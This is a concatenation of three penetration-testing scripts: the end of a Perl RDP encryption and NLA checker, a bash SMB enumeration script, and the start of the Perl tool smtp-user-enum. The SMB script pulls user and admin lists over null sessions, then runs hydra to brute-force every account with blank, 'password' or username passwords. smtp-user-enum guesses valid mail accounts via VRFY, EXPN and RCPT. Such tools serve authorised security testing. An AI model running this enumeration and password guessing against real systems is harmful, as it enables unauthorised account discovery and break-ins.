315 | $config{"encryption_level"}{$encryption_level{sprintf "%08x", unpack("V", $encryption_level)}} = 1; | |
316 | $config{"encryption_method"}{$encryption_method{sprintf "%08x", unpack("V", $encryption_method)}} = 1; | |
317 | $config{"protocols"}{"PROTOCOL_RDP"} = 1; # This is the only way the script detects RDP support on 2000/XP | |
318 | } else { | |
319 | printf "Not supported. Negotiated %s. Server encryption level: %s\n", $encryption_method{sprintf "%08x", unpack("V", $encryption_method)}, $encryption_level{sprintf "%08x", unpack("V", $encryption_level)}; | |
320 | $config{"encryption_level"}{$encryption_level{sprintf "%08x", unpack("V", $encryption_level)}} = 0; | |
321 | $config{"encryption_method"}{$encryption_method{sprintf "%08x", unpack("V", $encryption_method)}} = 0; | |
322 | } | |
323 | my $random = substr $sc_sec, 16, $random_length_i; | |
324 | my $cert = substr $sc_sec, 16 + $random_length_i, $server_cert_length_i; | |
325 | } else { | |
326 | print "Not supported\n"; | |
327 | } | |
328 | } | |
329 | ||
330 | if ($config{"protocols"}{"PROTOCOL_HYBRID"}) { | |
331 | if ($config{"protocols"}{"PROTOCOL_SSL"} or $config{"protocols"}{"PROTOCOL_RDP"}) { | |
332 | $config{"issues"}{"NLA_SUPPORTED_BUT_NOT_MANDATED_DOS"} = 1; | |
333 | } | |
334 | } else { | |
335 | # is this really a problem? | |
336 | $config{"issues"}{"NLA_NOT_SUPPORTED_DOS"} = 1; | |
337 | } | |
338 | ||
339 | if ($config{"protocols"}{"PROTOCOL_RDP"}) { | |
340 | if ($config{"protocols"}{"PROTOCOL_SSL"} or $config{"protocols"}{"PROTOCOL_HYBRID"}) { | |
341 | $config{"issues"}{"SSL_SUPPORTED_BUT_NOT_MANDATED_MITM"} = 1; | |
342 | } else { | |
343 | $config{"issues"}{"ONLY_RDP_SUPPORTED_MITM"} = 1; | |
344 | } | |
345 | ||
346 | if ($config{"encryption_method"}{"ENCRYPTION_METHOD_40BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_56BIT"}) { | |
347 | $config{"issues"}{"WEAK_RDP_ENCRYPTION_SUPPORTED"} = 1; | |
348 | } | |
349 | ||
350 | if ($config{"encryption_method"}{"ENCRYPTION_METHOD_NONE"}) { | |
351 | $config{"issues"}{"NULL_RDP_ENCRYPTION_SUPPORTED"} = 1; | |
352 | } | |
353 | ||
354 | if ($config{"encryption_method"}{"ENCRYPTION_METHOD_FIPS"} and ($config{"encryption_method"}{"ENCRYPTION_METHOD_NONE"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_40BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_56BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_128BIT"})) { | |
355 | $config{"issues"}{"FIPS_SUPPORTED_BUT_NOT_MANDATED"} = 1; | |
356 | } | |
357 | } | |
358 | ||
359 | print "\n"; | |
360 | print "[+] Summary of protocol support\n\n"; | |
361 | foreach my $protocol (keys(%{$config{"protocols"}})) { | |
362 | printf "[-] $ip:$port supports %-15s: %s\n", $protocol, $config{"protocols"}{$protocol} ? "TRUE" : "FALSE"; | |
363 | } | |
364 | ||
365 | print "\n"; | |
366 | print "[+] Summary of RDP encryption support\n\n"; | |
367 | foreach my $encryption_level (sort keys(%{$config{"encryption_level"}})) { | |
368 | printf "[-] $ip:$port has encryption level: %s\n", $encryption_level; | |
369 | } | |
370 | foreach my $encryption_method (sort keys(%encryption_method)) { | |
371 | printf "[-] $ip:$port supports %-25s: %s\n", $encryption_method{$encryption_method}, (defined($config{"encryption_method"}{$encryption_method{$encryption_method}}) and $config{"encryption_method"}{$encryption_method{$encryption_method}}) ? "TRUE" : "FALSE"; | |
372 | } | |
373 | ||
374 | print "\n"; | |
375 | print "[+] Summary of security issues\n\n"; | |
376 | foreach my $issue (keys(%{$config{"issues"}})) { | |
377 | print "[-] $ip:$port has issue $issue\n"; | |
378 | } | |
379 | ||
380 | print Dumper \%config if $debug; | |
381 | } | |
382 | ||
383 | sub test_std_rdp_security { | |
384 | my ($socket) = @_; | |
385 | my $string = get_x224_crq_std_rdp_security(); | |
386 | return do_handshake($socket, $string); | |
387 | } | |
388 | ||
389 | sub test_tls_security { | |
390 | my ($socket) = @_; | |
391 | my $string = get_x224_crq_tls_security(); | |
392 | return do_handshake($socket, $string); | |
393 | } | |
394 | ||
395 | sub test_credssp_security { | |
396 | my ($socket) = @_; | |
397 | my $string = get_x224_crq_credssp_security(); | |
398 | return do_handshake($socket, $string); | |
399 | } | |
400 | ||
401 | sub test_classic_rdp_security { | |
402 | my ($socket) = @_; | |
403 | my $string = get_x224_crq_classic(); | |
404 | return do_handshake($socket, $string); | |
405 | } | |
406 | ||
407 | sub test_mcs_initial_connect { | |
408 | my ($socket, $enc_hex) = @_; | |
409 | my $string = get_mcs_initial_connect($enc_hex); | |
410 | return do_handshake($socket, $string); | |
411 | } | |
412 | ||
413 | sub do_handshake { | |
414 | my ($socket, $string) = @_; | |
415 | print "[+] Sending:\n" if $debug > 1; | |
416 | hdump($string) if $debug > 1; | |
417 | ||
418 | print $socket $string; | |
419 | ||
420 | my $data; | |
421 | ||
422 | local $SIG{ALRM} = sub { die "alarm\n" }; | |
423 | eval { | |
424 | alarm($global_recv_timeout); | |
425 | $socket->recv($data,4); | |
426 | alarm(0); | |
427 | }; | |
428 | if ($@) { | |
429 | print "[W] Timeout on recv. Results may be unreliable.\n"; | |
430 | } | |
431 | ||
432 | if (length($data) == 4) { | |
433 | print "[+] Received from Server :\n" if $debug > 1; | |
434 | hdump($data) if $debug > 1; | |
435 | my @data = split("", $data); | |
436 | my $length = (ord($data[2]) << 8) + ord($data[3]); | |
437 | printf "[+] Initial length: %d\n", $length if $debug > 1; | |
438 | my $data2 = ""; | |
439 | while (length($data) < $length) { | |
440 | local $SIG{ALRM} = sub { die "alarm\n" }; | |
441 | eval { | |
442 | alarm($global_recv_timeout); | |
443 | $socket->recv($data2,$length - 4); | |
444 | alarm(0); | |
445 | }; | |
446 | if ($@) { | |
447 | print "[W] Timeout on recv. Results may be unreliable.\n"; | |
448 | } | |
449 | print "[+] Received " . length($data2) . " bytes from Server :\n" if $debug > 1; | |
450 | hdump($data2) if $debug > 1; | |
451 | $data .= $data2; | |
452 | } | |
453 | return split "", $data; | |
454 | } else { | |
455 | return undef; | |
456 | } | |
457 | } | |
458 | ||
459 | # http://www.perlmonks.org/?node_id=111481 | |
460 | sub hdump { | |
461 | my $offset = 0; | |
462 | my(@array,$format); | |
463 | foreach my $data (unpack("a16"x(length($_[0])/16)."a*",$_[0])) { | |
464 | my($len)=length($data); | |
465 | if ($len == 16) { | |
466 | @array = unpack('N4', $data); | |
467 | $format="0x%08x (%05d) %08x %08x %08x %08x %s\n"; | |
468 | } else { | |
469 | @array = unpack('C*', $data); | |
470 | $_ = sprintf "%2.2x", $_ for @array; | |
471 | push(@array, ' ') while $len++ < 16; | |
472 | $format="0x%08x (%05d)" . | |
473 | " %s%s%s%s %s%s%s%s %s%s%s%s %s%s%s%s %s\n"; | |
474 | } | |
475 | $data =~ tr/\0-\37\177-\377/./; | |
476 | printf $format,$offset,$offset,@array,$data; | |
477 | $offset += 16; | |
478 | } | |
479 | } | |
480 | ||
481 | sub get_x224_crq_std_rdp_security { | |
482 | return get_x224_connection_request("00"); | |
483 | } | |
484 | ||
485 | sub get_x224_crq_tls_security { | |
486 | return get_x224_connection_request("01"); | |
487 | } | |
488 | ||
489 | sub get_x224_crq_credssp_security { | |
490 | return get_x224_connection_request("03"); | |
491 | } | |
492 | ||
493 | sub get_x224_crq_classic { | |
494 | return get_old_connection_request(); | |
495 | } | |
496 | ||
497 | # enc_hex is bitmask of: | |
498 | # 01 - 40 bit | |
499 | # 02 - 128 bit | |
500 | # 08 - 56 bit | |
501 | # 10 - fips | |
502 | # | |
503 | # common value sniffed from wireshark: 03 | |
504 | sub get_mcs_initial_connect { | |
505 | my $enc_hex = shift; | |
506 | my @packet_hex = qw( | |
507 | 03 00 01 a2 02 f0 80 7f 65 82 | |
508 | 01 96 04 01 01 04 01 01 01 01 ff 30 20 02 02 00 | |
509 | 22 02 02 00 02 02 02 00 00 02 02 00 01 02 02 00 | |
510 | 00 02 02 00 01 02 02 ff ff 02 02 00 02 30 20 02 | |
511 | 02 00 01 02 02 00 01 02 02 00 01 02 02 00 01 02 | |
512 | 02 00 00 02 02 00 01 02 02 04 20 02 02 00 02 30 | |
513 | 20 02 02 ff ff 02 02 fc 17 02 02 ff ff 02 02 00 | |
514 | 01 02 02 00 00 02 02 00 01 02 02 ff ff 02 02 00 | |
515 | 02 04 82 01 23 00 05 00 14 7c 00 01 81 1a 00 08 | |
516 | 00 10 00 01 c0 00 44 75 63 61 81 0c 01 c0 d4 00 | |
517 | 04 00 08 00 20 03 58 02 01 ca 03 aa 09 04 00 00 | |
518 | 28 0a 00 00 68 00 6f 00 73 00 74 00 00 00 00 00 | |
519 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | |
520 | 00 00 00 00 04 00 00 00 00 00 00 00 0c 00 00 00 | |
521 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | |
522 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | |
523 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | |
524 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | |
525 | 01 ca 01 00 00 00 00 00 18 00 07 00 01 00 00 00 | |
526 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | |
527 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | |
528 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | |
529 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | |
530 | 04 c0 0c 00 09 00 00 00 00 00 00 00 02 c0 0c 00 | |
531 | ); | |
532 | push @packet_hex, $enc_hex; | |
533 | push @packet_hex, qw(00 00 00 00 00 00 00 03 c0 20 00 02 00 00 00 | |
534 | 63 6c 69 70 72 64 72 00 c0 a0 00 00 72 64 70 64 | |
535 | 72 00 00 00 80 80 00 00 | |
536 | ); | |
537 | my $string = join("", @packet_hex); | |
538 | $string =~ s/(..)/sprintf("%c", hex($1))/ge; | |
539 | return $string; | |
540 | } | |
541 | ||
542 | # MS-RDPBCGR | |
543 | sub get_x224_connection_request { | |
544 | my $sec = shift; | |
545 | my @packet_hex; | |
546 | push @packet_hex, qw(03); # tpktHeader - version | |
547 | push @packet_hex, qw(00); # tpktHeader - reserved | |
548 | push @packet_hex, qw(00 13); # tpktHeader - length | |
549 | push @packet_hex, qw(0e); # x224Crq - length | |
550 | push @packet_hex, qw(e0); # x224Crq - connection request | |
551 | push @packet_hex, qw(00 00); # x224Crq - ?? | |
552 | push @packet_hex, qw(00 00); # x224Crq - src-ref | |
553 | push @packet_hex, qw(00); # x224Crq - class | |
554 | push @packet_hex, qw(01); # rdpNegData - type | |
555 | push @packet_hex, qw(00); # rdpNegData - flags | |
556 | push @packet_hex, qw(08 00); # rdpNegData - length | |
557 | push @packet_hex, ($sec, qw(00 00 00)); # rdpNegData - requestedProtocols. bitmask, little endian: 0=standard rdp security, 1=TLSv1, 2=Hybrid (CredSSP) | |
558 | ||
559 | my $string = join("", @packet_hex); | |
560 | $string =~ s/(..)/sprintf("%c", hex($1))/ge; | |
561 | return $string; | |
562 | } | |
563 | ||
564 | sub get_old_connection_request { | |
565 | my @packet_hex = qw( | |
566 | 03 00 00 22 1d e0 00 00 00 00 | |
567 | 00 43 6f 6f 6b 69 65 3a 20 6d 73 74 73 68 61 73 | |
568 | 68 3d 72 6f 6f 74 0d 0a | |
569 | ); | |
570 | my $string = join("", @packet_hex); | |
571 | $string =~ s/(..)/sprintf("%c", hex($1))/ge; | |
572 | return $string; | |
573 | } | |
574 | ||
575 | sub get_socket { | |
576 | my ($ip, $port) = @_; | |
577 | my $socket = undef; | |
578 | my $failcount = 0; | |
579 | while (!defined($socket)) { | |
580 | $global_connection_count++; | |
581 | eval { | |
582 | local $SIG{ALRM} = sub { die "alarm\n" }; | |
583 | alarm($global_recv_timeout); | |
584 | $socket = new IO::Socket::INET ( | |
585 | PeerHost => $ip, | |
586 | PeerPort => $port, | |
587 | Proto => 'tcp', | |
588 | ) or print "WARNING in Socket Creation : $!\n"; | |
589 | alarm(0); | |
590 | }; | |
591 | if ($@) { | |
592 | print "[W] Timeout on connect. Retrying...\n"; | |
593 | return undef; | |
594 | } | |
595 | unless (defined($socket)) { | |
596 | $failcount++; | |
597 | } | |
598 | if ($failcount > $global_connect_fail_count) { | |
599 | die "ERROR: failed to connect $global_connect_fail_count times\n"; | |
600 | } | |
601 | } | |
602 | return $socket; | |
603 | } | |
604 | ||
605 | sub print_section { | |
606 | my ($string) = @_; | |
607 | print "\n=== $string ===\n\n"; | |
608 | } | |
609 | ||
610 | sub resolve { | |
611 | my $hostname = shift; | |
612 | print "[D] Resolving $hostname\n" if $debug > 0; | |
613 | my $ip = gethostbyname($hostname); | |
614 | if (defined($ip)) { | |
615 | return inet_ntoa($ip); | |
616 | } else { | |
617 | return undef; | |
618 | } | |
619 | } | |
620 | ||
621 | # Perl Cookbook, Tie Example: Multiple Sink Filehandles | |
622 | package Tie::Tee; | |
623 | ||
624 | sub TIEHANDLE { | |
625 | my $class = shift; | |
626 | my $handles = [@_]; | |
627 | bless $handles, $class; | |
628 | return $handles; | |
629 | } | |
630 | ||
631 | sub PRINT { | |
632 | my $href = shift; | |
633 | my $handle; | |
634 | my $success = 0; | |
635 | foreach $handle (@$href) { | |
636 | $success += print $handle @_; | |
637 | } | |
638 | return $success == @$href; | |
639 | } | |
640 | ||
641 | sub PRINTF { | |
642 | my $href = shift; | |
643 | my $handle; | |
644 | my $success = 0; | |
645 | foreach $handle (@$href) { | |
646 | $success += printf $handle @_; | |
647 | } | |
648 | return $success == @$href; | |
649 | } | |
650 | ||
651 | 1; | |
652 |
0 | #!/bin/bash | |
1 | # smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal | |
2 | # SECFORCE - Antonio Quina | |
3 | # All credits to Bernardo Damele A. G. <[email protected]> for the ms08-067_check.py script | |
4 | ||
5 | IFACE="eth0" | |
6 | ||
7 | if [ $# -eq 0 ] | |
8 | then | |
9 | echo "Usage: $0 <IP>" | |
10 | echo "eg: $0 10.10.10.10" | |
11 | exit | |
12 | else | |
13 | IP="$1" | |
14 | fi | |
15 | ||
16 | echo -e "\n########## Getting Netbios name ##########" | |
17 | nbtscan -v -h $IP | |
18 | ||
19 | echo -e "\n########## Checking for NULL sessions ##########" | |
20 | output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"` | |
21 | echo $output | |
22 | ||
23 | echo -e "\n########## Enumerating domains ##########" | |
24 | bash -c "echo 'enumdomains' | rpcclient $IP -U%" | |
25 | ||
26 | echo -e "\n########## Enumerating password and lockout policies ##########" | |
27 | polenum $IP | |
28 | ||
29 | echo -e "\n########## Enumerating users ##########" | |
30 | nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP | |
31 | bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | |
32 | bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt | |
33 | ||
34 | echo -e "\n########## Enumerating Administrators ##########" | |
35 | net rpc group members "Administrators" -I $IP -U% | |
36 | ||
37 | echo -e "\n########## Enumerating Domain Admins ##########" | |
38 | net rpc group members "Domain Admins" -I $IP -U% | |
39 | ||
40 | echo -e "\n########## Enumerating groups ##########" | |
41 | nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP | |
42 | ||
43 | echo -e "\n########## Enumerating shares ##########" | |
44 | nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP | |
45 | ||
46 | echo -e "\n########## Bruteforcing all users with 'password', blank and username as password" | |
47 | hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1 | |
48 | rm /tmp/$IP-users.txt | |
49 |
0 | #!/usr/bin/perl -w | |
1 | # smtp-user-enum - Brute Force Usernames via EXPN/VRFY/RCPT TO | |
2 | # Copyright (C) 2008 [email protected] | |
3 | # | |
4 | # This program is free software; you can redistribute it and/or modify | |
5 | # it under the terms of the GNU General Public License version 2 as | |
6 | # published by the Free Software Foundation. | |
7 | # | |
8 | # This program is distributed in the hope that it will be useful, | |
9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of | |
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | |
11 | # GNU General Public License for more details. | |
12 | # | |
13 | # You should have received a copy of the GNU General Public License along | |
14 | # with this program; if not, write to the Free Software Foundation, Inc., | |
15 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. | |
16 | # | |
17 | # This tool may be used for legal purposes only. Users take full responsibility | |
18 | # for any actions performed using this tool. If these terms are not acceptable to | |
19 | # you, then do not use this tool. | |
20 | # | |
21 | # You are encouraged to send comments, improvements or suggestions to | |
22 | # me at [email protected] | |
23 | # | |
24 | # This program is derived from dns-grind v1.0 ( http://pentestmonkey.net/tools/dns-grind ) | |
25 | # | |
26 | ||
27 | use strict; | |
28 | use Socket; | |
29 | use IO::Handle; | |
30 | use IO::Select; | |
31 | use IO::Socket::INET; | |
32 | use Getopt::Std; | |
33 | $| = 1; | |
34 | ||
35 | my $VERSION = "1.2"; | |
36 | my $debug = 0; | |
37 | my @child_handles = (); | |
38 | my $verbose = 0; | |
39 | my $max_procs = 5; | |
40 | my $smtp_port = 25; | |
41 | my @usernames = (); | |
42 | my @hosts = (); | |
43 | my $recursive_flag = 1; | |
44 | my $query_timeout = 5; | |
45 | my $mode = "VRFY"; | |
46 | my $from_address = '[email protected]'; | |
47 | my $start_time = time(); | |
48 | my $end_time; | |
49 | my $kill_child_string = "\x00"; | |
50 | $SIG{CHLD} = 'IGNORE'; # auto-reap | |
51 | my %opts; | |
52 | my $usage=<<USAGE; | |
53 | smtp-user-enum v$VERSION ( http://pentestmonkey.net/tools/smtp-user-enum ) | |
54 | ||
55 | Usage: smtp-user-enum.pl [options] ( -u username | -U file-of-usernames ) ( -t host | -T file-of-targets ) | |
56 | ||
57 | options are: | |
58 | -m n Maximum number of processes (default: $max_procs) | |
59 | -M mode Method to use for username guessing EXPN, VRFY or RCPT (default: $mode) | |
60 | -u user Check if user exists on remote system | |
61 | -f addr MAIL FROM email address. Used only in "RCPT TO" mode (default: $from_address) | |
62 | -D dom Domain to append to supplied user list to make email addresses (Default: none) | |
63 | Use this option when you want to guess valid email addresses instead of just usernames | |
64 | e.g. "-D example.com" would guess foo\@example.com, bar\@example.com, etc. Instead of | |
65 | simply the usernames foo and bar. | |
66 | -U file File of usernames to check via smtp service | |
67 | -t host Server host running smtp service | |
68 | -T file File of hostnames running the smtp service | |
69 | -p port TCP port on which smtp service runs (default: $smtp_port) | |
70 | -d Debugging output | |
71 | -t n Wait a maximum of n seconds for reply (default: $query_timeout) | |
72 | -v Verbose | |
73 | -h This help message | |
74 | ||
75 | Also see smtp-user-enum-user-docs.pdf from the smtp-user-enum tar ball. | |
76 | ||
77 | Examples: | |
78 | ||
79 | \$ smtp-user-enum.pl -M VRFY -U users.txt -t 10.0.0.1 | |
80 | \$ smtp-user-enum.pl -M EXPN -u admin1 -t 10.0.0.1 | |
81 | \$ smtp-user-enum.pl -M RCPT -U users.txt -T mail-server-ips.txt | |
82 | \$ smtp-user-enum.pl -M EXPN -D example.com -U users.txt -t 10.0.0.1 | |
83 | ||
84 | USAGE | |
85 | ||
86 | getopts('m:u:U:s:S:r:dt:vhM:f:D:p:', \%opts); | |
87 | ||
88 | # Print help message if required | |
89 | if ($opts{'h'}) { | |
90 | print $usage; | |
91 | exit 0; | |
92 | } | |
93 | ||
94 | my $username = $opts{'u'} if $opts{'u'}; | |
95 | my $username_file = $opts{'U'} if $opts{'U'}; | |
96 | my $host = $opts{'t'} if $opts{'t'}; | |
97 | my $host_file = $opts{'T'} if $opts{'T'}; | |
98 | my $file = $opts{'f'} if $opts{'f'}; | |
99 | my $domain = ""; $domain = $opts{'D'} if $opts{'D'}; | |
100 | ||
101 | $max_procs = $opts{'m'} if $opts{'m'}; | |
102 | $verbose = $opts{'v'} if $opts{'v'}; | |
103 | $debug = $opts{'d'} if $opts{'d'}; | |
104 | $smtp_port = $opts{'p'} if $opts{'p'}; | |
105 | $mode = $opts{'M'} if $opts{'M'}; | |
106 | $from_address = $opts{'f'} if $opts{'f'}; | |
107 | ||
108 | # Check for illegal option combinations | |
109 | unless ((defined($username) or defined($username_file)) and (defined($host) or defined($host_file))) { | |
110 | print $usage; | |
111 | exit 1; | |
112 | } | |
113 | ||
114 | # Check for strange option combinations | |
115 | if ( | |
116 | (defined($host) and defined($host_file)) | |
117 | or | |
118 | (defined($username) and defined($username_file)) | |
119 | ) { | |
120 | print "WARNING: You specified a lone username or host AND a file of them. Continuing anyway...\n"; | |
121 | } | |
122 | ||
123 | # Check valid mode was given | |
124 | unless ($mode eq "EXPN" or $mode eq "VRFY" or $mode eq "RCPT") { | |
125 | print "ERROR: Invalid mode specified with -M. Should be VRFY, EXPN or RCPT. -h for help\n"; | |
126 | exit 1; | |
127 | } | |
128 | ||
129 | # Shovel usernames and host into arrays | |
130 | if (defined($username_file)) { | |
131 | open(FILE, "<$username_file") or die "ERROR: Can't open username file $username_file: $!\n"; | |
132 | @usernames = map { chomp($_); $_ } <FILE>; | |
133 | } | |
134 | ||
135 | if (defined($host_file)) { | |
136 | open(FILE, "<$host_file") or die "ERROR: Can't open username file $host_file: $!\n"; | |
137 | @hosts = map { chomp($_); $_ } <FILE>; | |
138 | } | |
139 | ||
140 | if (defined($username)) { | |
141 | push @usernames, $username; | |
142 | } | |
143 | ||
144 | if (defined($host)) { | |
145 | push @hosts, $host; | |
146 | } | |
147 | ||
148 | if (defined($host_file) and not @hosts) { | |
149 | print "ERROR: Targets file $host_file was empty\n"; | |
150 | exit 1; | |
151 | } | |
152 | ||
153 | if (defined($username_file) and not @usernames) { | |
154 | print "ERROR: Username file $username_file was empty\n"; | |
155 | exit 1; | |
156 | } | |
157 | ||
158 | print "Starting smtp-user-enum v$VERSION ( http://pentestmonkey.net/tools/smtp-user-enum )\n"; | |
159 | print "\n"; | |
160 | print " ----------------------------------------------------------\n"; | |
161 | print "| Scan Information |\n"; | |
162 | print " ----------------------------------------------------------\n"; | |
163 | print "\n"; | |
164 | print "Mode ..................... $mode\n"; | |
165 | print "Worker Processes ......... $max_procs\n"; | |
166 | print "Targets file ............. $host_file\n" if defined($host_file); | |
167 | print "Usernames file ........... $username_file\n" if defined($username_file); | |
168 | print "Target count ............. " . scalar(@hosts) . "\n" if @hosts; | |
169 | print "Username count ........... " . scalar(@usernames) . "\n" if @usernames; | |
170 | print "Target TCP port .......... $smtp_port\n"; | |
171 | print "Query timeout ............ $query_timeout secs\n"; | |
172 | print "Target domain ............ $domain\n" if defined($domain); | |
173 | print "\n"; | |
174 | print "######## Scan started at " . scalar(localtime()) . " #########\n"; | |
175 | ||
176 | # Spawn off correct number of children | |
177 | foreach my $proc_count (1..$max_procs) { | |
178 | socketpair(my $child, my $parent, AF_UNIX, SOCK_STREAM, PF_UNSPEC) or die "socketpair: $!"; | |
179 | $child->autoflush(1); | |
180 | $parent->autoflush(1); | |
181 | ||
182 | # Parent executes this | |
183 | if (my $pid = fork) { | |
184 | close $parent; | |
185 | print "[Parent] Spawned child with PID $pid to do resolving\n" if $debug; | |
186 | push @child_handles, $child; | |
187 | ||
188 | # Child executes this | |
189 | } else { | |
190 | close $child; | |
191 | while (1) { | |
192 | my $timed_out = 0; | |
193 | ||
194 | # Read host and username from parent | |
195 | my $line = <$parent>; | |
196 | chomp($line); | |
197 | my ($host, $username, $domain) = $line =~ /^(\S+)\t(.*)\t(.*)$/; | |
198 | ||
199 | # Append domain to username if a domain was supplied | |
200 | $username = $username . "@" . $domain if (defined($domain) and $domain); | |
201 | ||
202 | # Exit if told to by parent | |
203 | if ($line eq $kill_child_string) { | |
204 | print "[Child $$] Exiting\n" if $debug; | |
205 | exit 0; | |
206 | } | |
207 | ||
208 | # Sanity check host and username | |
209 | if (defined($host) and defined($username)) { | |
210 | print "[Child $$] Passed host $host and username $username\n" if $debug; | |
211 | } else { | |
212 | print "[Child $$] WARNING: Passed garbage. Ignoring: $line\n"; | |
213 | next; | |
214 | } | |
215 | ||
216 | # Do smtp query with timeout | |
217 | my $response; | |
218 | eval { | |
219 | local $SIG{ALRM} = sub { die "alarm\n" }; | |
220 | alarm $query_timeout; | |
221 | my $s = IO::Socket::INET->new( PeerAddr => $host, | |
222 | PeerPort => $smtp_port, | |
223 | Proto => 'tcp' | |
224 | ) | |
225 | or die "Can't connect to $host:$smtp_port: $!\n"; | |
226 | my $buffer; | |
227 | $s->recv($buffer, 10000); # recv banner | |
228 | if ($mode eq "VRFY") { | |
229 | $s->send("HELO x\r\n"); | |
230 | $s->recv($buffer, 10000); | |
231 | $s->send("VRFY $username\r\n"); | |
232 | $s->recv($buffer, 10000); | |
233 | } elsif ($mode eq "EXPN") { | |
234 | $s->send("HELO x\r\n"); | |
235 | $s->recv($buffer, 10000); | |
236 | $s->send("EXPN $username\r\n"); | |
237 | $s->recv($buffer, 10000); | |
238 | } elsif ($mode eq "RCPT") { | |
239 | $s->send("HELO x\r\n"); | |
240 | $s->recv($buffer, 10000); | |
241 | $s->send("MAIL FROM:$from_address\r\n"); | |
242 | $s->recv($buffer, 10000); | |
243 | $s->send("RCPT TO:$username\r\n"); | |
244 | $s->recv($buffer, 10000); | |
245 | } else { | |
246 | print "ERROR: Unknown mode in use\n"; | |
247 | exit 1; | |
248 | } | |
249 | $response .= $buffer; | |
250 | alarm 0; | |
251 | }; | |
252 | ||
253 | # if ($@) { | |
254 | # $timed_out = 1; | |
255 | # print "[Child $$] Timeout for username $username on host $host\n" if $debug; | |
256 | # } | |
257 | ||
258 | my $trace; | |
259 | if ($debug) { | |
260 | $trace = "[Child $$] $host: $username "; | |
261 | } else { | |
262 | $trace = "$host: $username "; | |
263 | } | |
264 | ||
265 | if ($response and not $timed_out) { | |
266 | ||
267 | # Negative result | |
268 | if ($response =~ /5\d\d \S+/s) { | |
269 | print $parent $trace . "<no such user>\n"; | |
270 | next; | |
271 | ||
272 | # Postive result | |
273 | } elsif ($response =~ /2\d\d \S+/s) { | |
274 | print $parent $trace . "exists\n"; | |
275 | next; | |
276 | ||
277 | # Unknown response | |
278 | } else { | |
279 | $response =~ s/[\n\r]/./g; | |
280 | print $parent $trace . "$response\n"; | |
281 | next; | |
282 | } | |
283 | } | |
284 | ||
285 | if ($timed_out) { | |
286 | print $parent $trace . "<timeout>\n"; | |
287 | } else { | |
288 | if (!$response) { | |
289 | print $parent $trace . "<no result>\n"; | |
290 | } | |
291 | } | |
292 | } | |
293 | exit; | |
294 | } | |
295 | } | |
296 | ||
297 | # Fork once more to make a process that will us usernames and hosts | |
298 | socketpair(my $get_next_query, my $parent, AF_UNIX, SOCK_STREAM, PF_UNSPEC) or die "socketpair: $!"; | |
299 | $get_next_query->autoflush(1); | |
300 | $parent->autoflush(1); | |
301 | ||
302 | # Parent executes this | |
303 | if (my $pid = fork) { | |
304 | close $parent; | |
305 | ||
306 | # Chile executes this | |
307 | } else { | |
308 | # Generate queries from username-host pairs and send to parent | |
309 | foreach my $username (@usernames) { | |
310 | foreach my $host (@hosts) { | |
311 | my $query = $host . "\t" . $username . "\t" . $domain; | |
312 | print "[Query Generator] Sending $query to parent\n" if $debug; | |
313 | print $parent "$query\n"; | |
314 | } | |
315 | } | |
316 | ||
317 | exit 0; | |
318 | } | |
319 | ||
320 | printf "Created %d child processes\n", scalar(@child_handles) if $debug; | |
321 | my $s = IO::Select->new(); | |
322 | my $s_in = IO::Select->new(); | |
323 | $s->add(@child_handles); | |
324 | $s_in->add(\*STDIN); | |
325 | my $timeout = 0; # non-blocking | |
326 | my $more_queries = 1; | |
327 | my $outstanding_queries = 0; | |
328 | my $query_count = 0; | |
329 | my $result_count = 0; | |
330 | ||
331 | # Write to each child process once | |
332 | writeloop: foreach my $write_handle (@child_handles) { | |
333 | my $query = <$get_next_query>; | |
334 | if ($query) { | |
335 | chomp($query); | |
336 | print "[Parent] Sending $query to child\n" if $debug; | |
337 | print $write_handle "$query\n"; | |
338 | $outstanding_queries++; | |
339 | } else { | |
340 | print "[Parent] Quitting main loop. All queries have been read.\n" if $debug; | |
341 | last writeloop; | |
342 | } | |
343 | } | |
344 | ||
345 | # Keep reading from child processes until there are no more queries left | |
346 | # Write to a child only after it has been read from | |
347 | mainloop: while (1) { | |
348 | # Wait until there's a child that we can either read from or written to. | |
349 | my ($rh_aref) = IO::Select->select($s, undef, undef); # blocking | |
350 | ||
351 | print "[Parent] There are " . scalar(@$rh_aref) . " children that can be read from\n" if $debug; | |
352 | ||
353 | foreach my $read_handle (@$rh_aref) { | |
354 | # Read from child | |
355 | chomp(my $line = <$read_handle>); | |
356 | if ($verbose == 1 or $debug == 1 or not ($line =~ /<no such user>/ or $line =~ /no result/ or $line =~ /<timeout>/)) { | |
357 | print "$line\n"; | |
358 | $result_count++ unless ($line =~ /<no such user>/ or $line =~ /no result/ or $line =~ /<timeout>/); | |
359 | } | |
360 | $outstanding_queries--; | |
361 | $query_count++; | |
362 | ||
363 | # Write to child | |
364 | my $query = <$get_next_query>; | |
365 | if ($query) { | |
366 | chomp($query); | |
367 | print "[Parent] Sending $query to child\n" if $debug; | |
368 | print $read_handle "$query\n"; | |
369 | $outstanding_queries++; | |
370 | } else { | |
371 | print "DEBUG: Quitting main loop. All queries have been read.\n" if $debug; | |
372 | last mainloop; | |
373 | } | |
374 | } | |
375 | } | |
376 | ||
